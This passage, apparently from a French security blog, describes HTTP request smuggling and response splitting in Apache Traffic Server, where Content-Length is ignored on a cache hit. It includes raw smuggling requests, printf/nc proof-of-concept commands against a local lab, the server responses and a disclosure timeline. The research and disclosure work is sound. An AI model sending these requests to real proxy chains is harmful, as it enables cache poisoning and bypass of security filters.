Est-ce que tout ceci marche sur le port 8001 avec HaProxy? Et bien non bien sûr. Notre syntaxe de header est invalide. Il faudrait cacher cette mauvaise requête à HaProxy, sans doute en utilisant une autre faille de contrebande, pour cacher cette requête dans un body. Ou bien il faudrait un autre répartiteur de charge qui ne détecte pas cette syntaxe invalide. Remarquez que sur cette exemple le comportement de Nginx sur cette syntaxe de header invalide (le fait de l'ignorer) n'est pas standard (et ne sera pas corrigé, pour autant que je sache).

Ce préfixe-espace invalide est la même faille que celle de Apache httpd dans la CVE 2016-8743.

HTTP Response Splitting: Content-Length ignoré sur Cache Hit

Toujours là? Super! Parce que nous sommes rendus à la plus jolie faille.

Du moins pour moi c'était la plus jolie. Surtout parce que j'ai passé beaucoup de temps à tourner autour sans la comprendre.

Je faisais du fuzzing sur ATS, et mon fuzzer détectait des failles. J'essayais de la reproduire et j'avais des échecs, et des succès, sur des failles précédemment non détectées par le fuzzer, donc retour au départ. Des failles qu'on ne peut pas reproduire, on commence à douter qu'on les a vraiment vues. Soudainement on les retrouve, et puis non, etc. Et bien sûr je ne cherchais pas la cause sur les bon exemples. Par exemple je déclenchais des tests de mauvais transmissions de chunks, ou des chunks avec délais.

Il m'a fallu un très long temps (trop long) avant de détecter que tout ceci était lié au statut cache hit/cache miss de mes requêtes.

Sur un cache Hit le header Content-Length d'une requête GET n'est pas lu.

C'est si facile quand on le sait… et les exploitations sont aussi assez simple.

On peut cacher une deuxième requête dans le body d'une première requête, sur un cache Hit ce body devient une nouvelle requête.

Cette sorte de requête recevra une réponse la première fois (et, oui, c'est bien une requête unique), sur un deuxième lancement on obtiendra deux réponse (donc par définition du HTTP Request Splitting) :

01 GET /index.html?cache=zorg42 HTTP/1.1\r\n
02 Host: dummy-host7.example.com\r\n
03 Cache-control: max-age=300\r\n
04 Content-Length: 71\r\n
05 \r\n
06 GET /index.html?cache=zorg43 HTTP/1.1\r\n
07 Host: dummy-host7.example.com\r\n
08 \r\n

La ligne 04 est ignorée sur un cache hit (donc seulement à partir de la deuxième fois), suite à cela la ligne 06 est maintenant une nouvelle requête et pas seulement le début du body de la première.

Cette requête HTTP est valide, Il n'y a pas de présence de syntaxe HTTP invalide. Il est donc assez facile de réaliser une attaque de contrebande complète à partir de cette faille, même en utilisant HaProxy devant ATS.

Si HaProxy est configuré pour utiliser une connexion keep-alive avec ATS on peut tromper le flux HTTP de HaProxy en envoyant un pipeline de deux requêtes où ATS en distingue 3:

Schéma d'attaque

[ATS HTTP-faille de Splitting sur Cache hit + GET + Content-Length]
Something        HaProxy           ATS            Nginx
    |--A----------->|               |               |
    |               |--A----------->|               |
    |               |               |--A----------->|
    |               |            [cache]<--A--------|
    |               | (etc.) <------|               | warmup
---------------------------------------------------------
    |               |               |               | attaque
    |--A(+B)+C----->|               |               |
    |               |--A(+B)+C----->|               |
    |               |             [HIT]             | * Bug *
    |               |<--A-----------|               | * B 'découverte' *
    |<--A-----------|               |--B----------->|
    |               |               |<-B------------|
    |               |<-B------------|               |
 [ouch]<-B----------|               |               | * mauvaise rép. *
    |               |               |--C----------->|
    |               |               |<--C-----------|
    |              [R]<--C----------|               | rejetée

Premièrement, on doit initialiser le cache, on utilise le port 8001 pour avoir un flux HaProxy->ATS->Nginx.

printf 'GET /index.html?cache=cogip2000 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-control: max-age=300\r\n'\
'Content-Length: 0\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8001

Vous pouvez faire tourner cela deux fois et voir que la deuxième fois on atteint pas le access.log de Nginx.

Puis on attaque HaProxy, ou n'importe quel autre cache situé en amont de ce HaProxy. On utilise un pipeline de 2 requêtes, ATS va renvoyer 3 réponses. Si un mode keep-alive est présent devant ATS il y a un problème de sécurité. Ici c'est le cas car on n'utilise pas le réglage option: http-close sur HaProxy (qui fermerait la possibilité d'utiliser des pipelines).

printf 'GET /index.html?cache=cogip2000 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-control: max-age=300\r\n'\
'Content-Length: 74\r\n'\
'\r\n'\
'GET /index.html?evil=cogip2000 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'\r\n'\
'GET /victim.html?cache=zorglub HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8001

La requête pour /victim.html (qui devrait être un 404 dans notre exemple) reçoit une réponse pour /index.html (X-Location-echo: /index.html?evil=cogip2000).

HTTP/1.1 200 OK
Server: ATS/7.1.1
Date: Fri, 26 Oct 2018 16:05:41 GMT
Content-Type: text/html
Content-Length: 120
Last-Modified: Fri, 26 Oct 2018 14:16:28 GMT
ETag: "5bd321bc-78"
X-Location-echo: /index.html?cache=cogip2000
X-Default-VH: 0
Cache-Control: public, max-age=300
Accept-Ranges: bytes
Age: 12

$<html><head><title>Nginx default static page</title></head>
<body><h1>Hello World</h1>
<p>It works!</p>
</body></html>

et

HTTP/1.1 200 OK
Server: ATS/7.1.1
Date: Fri, 26 Oct 2018 16:05:53 GMT
Content-Type: text/html
Content-Length: 120
Last-Modified: Fri, 26 Oct 2018 14:16:28 GMT
ETag: "5bd321bc-78"
X-Location-echo: /index.html?evil=cogip2000
X-Default-VH: 0
Cache-Control: public, max-age=300
Accept-Ranges: bytes
Age: 0

$<html><head><title>Nginx default static page</title></head>
<body><h1>Hello World</h1>
<p>It works!</p>
</body></html>

Ici la faille est critique, en particulier parce qu'il n'y a pas de syntaxe invalide dans la requête d'attaque.

Nous avons du HTTP response splitting, ce qui signifie deux impacts principaux :

  • ATS peut être utilisé pour empoisonner ou attaquer un acteur situé devant lui
  • la deuxième requête est cachée (c'est un body, du garbage binaire pour un acteur HTTP), donc tout filtre de sécurité présent devant ATS ne peut pas bloquer cette deuxième requête. On pourrait utiliser cela pour cacher une deuxième couche d'attaque comme un empoisonnement de cache ATS comme décrit dans les attaques précédentes. Maintenant que vous avez un lab fonctionnel vous pouvez essayer d'inclure plusieurs couches d'attaque…

Ceci était le sujet du correctif Drain the request body if there is a cache hit.

Juste pour mieux comprendre les impacts dans le vrai monde, remarquez que celui qui reçoit la réponse B au lieu de C est l'attaquant. HaProxy n'est pas un cache, donc le mix requête-C/réponse-B sur HaProxy n'est pas une menace directe réelle. Mais s'il y a un cache devant HaProxy, ou si on utilise un ensemble de serveurs proxy ATS chaînés…

Timeline

  • 2017-12-26: Rapport aux mainteneurs du projet
  • 2018-01-08: Accusé de réception par les mainteneurs
  • 2018-04-16: Version 7.1.3 avec presque tous les correctifs
  • 2018-08-04: Versions 7.1.4 et 6.2.2 (qui contiennent offciellement tous les correctifs, et des correctifs de quelques autres CVE)
  • 2018-08-28: CVE announce
  • 2019-09-17: Publication de cet article

Voir aussi

Formations associées

Formations Front end

Formation Angular avancé

Toulouse Du 29 au 31 mai 2024

Voir la formation

Formations Outils et bases de données

Formation sécurité web

Paris Du 27 au 29 février 2024

Voir la formation

Formations Django

Formation Django avancé

À distance (FOAD) Du 9 au 13 décembre 2024

Voir la formation

Actualités en lien

19/05/2021

Sécurité: Problèmes de HTTP Smuggling (contrebande de HTTP) en 2015 - Partie 1

Première partie d'une série d'articles sur le HTTP Smuggling en 2015 - Injection de HTTP dans HTTP, la théorie.

Voir l'article
22/04/2019

Contrebande de HTTP (HTTP Smuggling): Jetty

Détails des failles CVE-2017-7658, CVE-2017-7657 et CVE-2017-7656 (failles publiées le 2018-06-27)

Voir l'article
24/08/2018

Sécurité HTTP : Apache Traffic Server - Contrebande de HTTP

Plusieurs correctifs de sécurité viennent d'êtres appliqués dans les version 6 et 7 de Apache Traffic Server (ATS). Ces correctifs viennent corriger des failles découvertes grâce à nos recherches sur la contrebande HTTP.

Voir l'article

Inscription à la newsletter

Nous vous avons convaincus